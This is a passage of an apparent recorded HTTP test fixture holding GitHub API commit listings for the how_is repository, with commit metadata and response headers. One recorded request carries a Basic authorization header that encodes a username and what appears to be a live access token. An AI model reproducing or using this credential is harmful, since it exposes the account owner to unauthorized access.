zg2ZThkYTEyNg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-09T15:54:06Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-09T15:54:06Z"},"message":"Clean up text descriptions.","tree":{"sha":"dcf64258b83ae1196c247034e967dda0bb91e22d","url":"https://api.github.com/repos/how-is/how_is/git/trees/dcf64258b83ae1196c247034e967dda0bb91e22d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/fd1579c90bd1d7c83f7eb85dcafb05386e8da126","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/fd1579c90bd1d7c83f7eb85dcafb05386e8da126","html_url":"https://github.com/how-is/how_is/commit/fd1579c90bd1d7c83f7eb85dcafb05386e8da126","comments_url":"https://api.github.com/repos/how-is/how_is/commits/fd1579c90bd1d7c83f7eb85dcafb05386e8da126/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"26c637ab8cd4b65cc9b2cb11c599423875f7d87c","url":"https://api.github.com/repos/how-is/how_is/commits/26c637ab8cd4b65cc9b2cb11c599423875f7d87c","html_url":"https://github.com/how-is/how_is/commit/26c637ab8cd4b65cc9b2cb11c599423875f7d87c"}]},{"sha":"26c637ab8cd4b65cc9b2cb11c599423875f7d87c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MjZjNjM3YWI4Y2Q0YjY1Y2M5YjJjYjExYzU5OTQyMzg3NWY3ZDg3Yw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-09T15:45:32Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-09T15:45:32Z"},"message":"Implement average_age_for().","tree":{"sha":"e15f7bb89f59470c439e9a5ab1e2dcb0f4518f1b","url":"https://api.github.com/repos/how-is/how_is/git/trees/e15f7bb89f59470c439e9a5ab1e2dcb0f4518f1b"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/26c637ab8cd4b65cc9b2cb11c599423875f7d87c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/26c637ab8cd4b65cc9b2cb11c599423875f7d87c","html_url":"https://github.com/how-is/how_is/commit/26c637ab8cd4b65cc9b2cb11c599423875f7d87c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/26c637ab8cd4b65cc9b2cb11c599423875f7d87c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"032d68e91a563a7b256a6cf421b148ec803ce332","url":"https://api.github.com/repos/how-is/how_is/commits/032d68e91a563a7b256a6cf421b148ec803ce332","html_url":"https://github.com/how-is/how_is/commit/032d68e91a563a7b256a6cf421b148ec803ce332"}]},{"sha":"032d68e91a563a7b256a6cf421b148ec803ce332","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MDMyZDY4ZTkxYTU2M2E3YjI1NmE2Y2Y0MjFiMTQ4ZWM4MDNjZTMzMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-09T15:18:34Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-09T15:18:34Z"},"message":"Remove dead code.","tree":{"sha":"61d4a836de076aa19b6aedcdc57fd6ce486676e3","url":"https://api.github.com/repos/how-is/how_is/git/trees/61d4a836de076aa19b6aedcdc57fd6ce486676e3"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/032d68e91a563a7b256a6cf421b148ec803ce332","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/032d68e91a563a7b256a6cf421b148ec803ce332","html_url":"https://github.com/how-is/how_is/commit/032d68e91a563a7b256a6cf421b148ec803ce332","comments_url":"https://api.github.com/repos/how-is/how_is/commits/032d68e91a563a7b256a6cf421b148ec803ce332/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"9c2d82e0dcdad2eb2fb2617a850b32523a53a4dd","url":"https://api.github.com/repos/how-is/how_is/commits/9c2d82e0dcdad2eb2fb2617a850b32523a53a4dd","html_url":"https://github.com/how-is/how_is/commit/9c2d82e0dcdad2eb2fb2617a850b32523a53a4dd"}]},{"sha":"9c2d82e0dcdad2eb2fb2617a850b32523a53a4dd","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OWMyZDgyZTBkY2RhZDJlYjJmYjI2MTdhODUwYjMyNTIzYTUzYTRkZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-09T15:11:50Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-09T15:11:50Z"},"message":"FUCK YEAH GRAPHS.","tree":{"sha":"57c21be9df5bad3376c65de1193b9745220f2c71","url":"https://api.github.com/repos/how-is/how_is/git/trees/57c21be9df5bad3376c65de1193b9745220f2c71"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/9c2d82e0dcdad2eb2fb2617a850b32523a53a4dd","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/9c2d82e0dcdad2eb2fb2617a850b32523a53a4dd","html_url":"https://github.com/how-is/how_is/commit/9c2d82e0dcdad2eb2fb2617a850b32523a53a4dd","comments_url":"https://api.github.com/repos/how-is/how_is/commits/9c2d82e0dcdad2eb2fb2617a850b32523a53a4dd/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"1d3e1940139d0441791ad4f223c45a8b9cf04d7f","url":"https://api.github.com/repos/how-is/how_is/commits/1d3e1940139d0441791ad4f223c45a8b9cf04d7f","html_url":"https://github.com/how-is/how_is/commit/1d3e1940139d0441791ad4f223c45a8b9cf04d7f"}]},{"sha":"1d3e1940139d0441791ad4f223c45a8b9cf04d7f","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MWQzZTE5NDAxMzlkMDQ0MTc5MWFkNGYyMjNjNDVhOGI5Y2YwNGQ3Zg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-09T12:56:23Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-09T12:56:23Z"},"message":"Call the correct method.","tree":{"sha":"a1ea7cb9aa04bcdd56c4c7000aadbadd16d02c4d","url":"https://api.github.com/repos/how-is/how_is/git/trees/a1ea7cb9aa04bcdd56c4c7000aadbadd16d02c4d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/1d3e1940139d0441791ad4f223c45a8b9cf04d7f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/1d3e1940139d0441791ad4f223c45a8b9cf04d7f","html_url":"https://github.com/how-is/how_is/commit/1d3e1940139d0441791ad4f223c45a8b9cf04d7f","comments_url":"https://api.github.com/repos/how-is/how_is/commits/1d3e1940139d0441791ad4f223c45a8b9cf04d7f/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"7b6b61726dcc9ab624a4722600eb633ff21c62d2","url":"https://api.github.com/repos/how-is/how_is/commits/7b6b61726dcc9ab624a4722600eb633ff21c62d2","html_url":"https://github.com/how-is/how_is/commit/7b6b61726dcc9ab624a4722600eb633ff21c62d2"}]},{"sha":"7b6b61726dcc9ab624a4722600eb633ff21c62d2","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6N2I2YjYxNzI2ZGNjOWFiNjI0YTQ3MjI2MDBlYjYzM2ZmMjFjNjJkMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-09T12:55:54Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-09T12:55:54Z"},"message":"Fix Analyzer.from_file()?","tree":{"sha":"79aeeefd2a43cc4ccdc198c575ae44cb6d1a2ba2","url":"https://api.github.com/repos/how-is/how_is/git/trees/79aeeefd2a43cc4ccdc198c575ae44cb6d1a2ba2"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7b6b61726dcc9ab624a4722600eb633ff21c62d2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7b6b61726dcc9ab624a4722600eb633ff21c62d2","html_url":"https://github.com/how-is/how_is/commit/7b6b61726dcc9ab624a4722600eb633ff21c62d2","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7b6b61726dcc9ab624a4722600eb633ff21c62d2/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"5e8d1eb68e5dcee1e16c4544d319010b198d6bdb","url":"https://api.github.com/repos/how-is/how_is/commits/5e8d1eb68e5dcee1e16c4544d319010b198d6bdb","html_url":"https://github.com/how-is/how_is/commit/5e8d1eb68e5dcee1e16c4544d319010b198d6bdb"}]},{"sha":"5e8d1eb68e5dcee1e16c4544d319010b198d6bdb","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NWU4ZDFlYjY4ZTVkY2VlMWUxNmM0NTQ0ZDMxOTAxMGIxOThkNmJkYg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-09T12:53:12Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-09T12:53:12Z"},"message":"Clean up Report.","tree":{"sha":"efbbe0101ab0c0c6ad567418f42805c214639ac2","url":"https://api.github.com/repos/how-is/how_is/git/trees/efbbe0101ab0c0c6ad567418f42805c214639ac2"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/5e8d1eb68e5dcee1e16c4544d319010b198d6bdb","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/5e8d1eb68e5dcee1e16c4544d319010b198d6bdb","html_url":"https://github.com/how-is/how_is/commit/5e8d1eb68e5dcee1e16c4544d319010b198d6bdb","comments_url":"https://api.github.com/repos/how-is/how_is/commits/5e8d1eb68e5dcee1e16c4544d319010b198d6bdb/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"7de5e8a8c12c6a0c05d4fe2d42ded9cd368d8ee5","url":"https://api.github.com/repos/how-is/how_is/commits/7de5e8a8c12c6a0c05d4fe2d42ded9cd368d8ee5","html_url":"https://github.com/how-is/how_is/commit/7de5e8a8c12c6a0c05d4fe2d42ded9cd368d8ee5"}]},{"sha":"7de5e8a8c12c6a0c05d4fe2d42ded9cd368d8ee5","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6N2RlNWU4YThjMTJjNmEwYzA1ZDRmZTJkNDJkZWQ5Y2QzNjhkOGVlNQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-09T12:50:26Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-09T12:50:26Z"},"message":"Implement --from.","tree":{"sha":"a6f657986d65902491953110a34a58578a43a8ce","url":"https://api.github.com/repos/how-is/how_is/git/trees/a6f657986d65902491953110a34a58578a43a8ce"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7de5e8a8c12c6a0c05d4fe2d42ded9cd368d8ee5","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7de5e8a8c12c6a0c05d4fe2d42ded9cd368d8ee5","html_url":"https://github.com/how-is/how_is/commit/7de5e8a8c12c6a0c05d4fe2d42ded9cd368d8ee5","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7de5e8a8c12c6a0c05d4fe2d42ded9cd368d8ee5/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"7dc30c56c1024aaaddac8897f485c6872cef735f","url":"https://api.github.com/repos/how-is/how_is/commits/7dc30c56c1024aaaddac8897f485c6872cef735f","html_url":"https://github.com/how-is/how_is/commit/7dc30c56c1024aaaddac8897f485c6872cef735f"}]}]' http_version: recorded_at: Fri, 26 Apr 2019 20:32:48 GMT - request: method: get uri: https://api.github.com/repositories/54295243/commits?author=me@duckie.co&page=16&per_page=30&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:48 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3329' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"780426b3fd87f51d0dfdbe3aee0b9a0d" Last-Modified: - Thu, 09 Jun 2016 12:41:17 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 96D6:39A6:1D5003:3A8F2E:5CC36AF0 body: encoding: ASCII-8BIT string: '[{"sha":"7dc30c56c1024aaaddac8897f485c6872cef735f","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6N2RjMzBjNTZjMTAyNGFhYWRkYWM4ODk3ZjQ4NWM2ODcyY2VmNzM1Zg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-09T12:41:17Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-09T12:41:17Z"},"message":"Update .gitignore.","tree":{"sha":"74e8d8bb5c832a7421d898196138f100d7fa1883","url":"https://api.github.com/repos/how-is/how_is/git/trees/74e8d8bb5c832a7421d898196138f100d7fa1883"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7dc30c56c1024aaaddac8897f485c6872cef735f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7dc30c56c1024aaaddac8897f485c6872cef735f","html_url":"https://github.com/how-is/how_is/commit/7dc30c56c1024aaaddac8897f485c6872cef735f","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7dc30c56c1024aaaddac8897f485c6872cef735f/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"316be38409297372d518ff21636600bb1db27c72","url":"https://api.github.com/repos/how-is/how_is/commits/316be38409297372d518ff21636600bb1db27c72","html_url":"https://github.com/how-is/how_is/commit/316be38409297372d518ff21636600bb1db27c72"}]},{"sha":"316be38409297372d518ff21636600bb1db27c72","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MzE2YmUzODQwOTI5NzM3MmQ1MThmZjIxNjM2NjAwYmIxZGIyN2M3Mg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-06T12:39:29Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-06T12:39:29Z"},"message":"Implement 